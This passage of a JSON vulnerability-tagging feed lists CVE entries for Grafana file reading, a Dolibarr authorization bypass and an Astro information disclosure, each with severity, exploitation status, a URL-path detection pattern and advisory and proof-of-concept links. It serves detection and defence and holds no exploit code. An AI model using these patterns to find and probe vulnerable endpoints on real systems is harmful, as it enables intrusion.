Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-10-13T22:12:55.221288+00:00"}